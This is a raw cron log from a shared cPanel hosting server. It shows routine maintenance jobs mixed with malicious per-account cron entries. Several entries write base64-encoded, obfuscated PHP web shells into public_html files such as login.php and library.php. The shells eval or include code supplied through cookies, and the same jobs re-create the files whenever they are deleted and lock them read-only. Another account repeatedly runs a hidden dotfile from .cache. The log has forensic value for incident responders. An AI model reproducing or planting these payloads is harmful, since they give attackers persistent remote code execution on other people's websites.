Hg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:14:01 medusa CROND[23993]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 20:14:01 medusa CROND[24078]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 20:14:01 medusa CROND[24080]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 20:14:01 medusa CROND[24081]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 20:14:01 medusa CROND[24082]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:14:01 medusa CROND[24083]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 20:14:01 medusa CROND[24084]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 20:14:01 medusa CROND[24091]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 20:14:01 medusa CROND[24092]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 20:14:01 medusa CROND[24101]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:14:01 medusa CROND[24102]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:14:01 medusa CROND[24105]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:14:01 medusa CROND[24108]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 20:15:02 medusa CROND[5430]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 20:15:02 medusa CROND[5651]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 20:15:02 medusa CROND[5748]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 20:15:02 medusa CROND[5750]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 20:15:02 medusa CROND[5751]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 20:15:02 medusa CROND[5752]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 20:15:02 medusa CROND[5753]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 20:15:02 medusa CROND[5756]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  1 20:15:02 medusa CROND[5757]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 20:15:02 medusa CROND[5758]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 20:15:02 medusa CROND[5755]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 20:15:02 medusa CROND[5761]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 20:15:02 medusa CROND[5764]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 20:15:02 medusa CROND[5766]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 20:15:02 medusa CROND[5768]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 20:15:02 medusa CROND[5769]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 20:15:02 medusa CROND[5770]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 20:15:02 medusa CROND[5767]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 20:15:02 medusa CROND[5779]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:15:02 medusa CROND[5778]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Mar  1 20:15:02 medusa CROND[5789]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:15:02 medusa CROND[5790]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 20:15:02 medusa CROND[5793]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:15:02 medusa CROND[5794]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:16:02 medusa CROND[12323]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 20:16:02 medusa CROND[12324]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 20:16:02 medusa CROND[12325]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 20:16:02 medusa CROND[12326]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 20:16:02 medusa CROND[12328]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 20:16:02 medusa CROND[12330]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
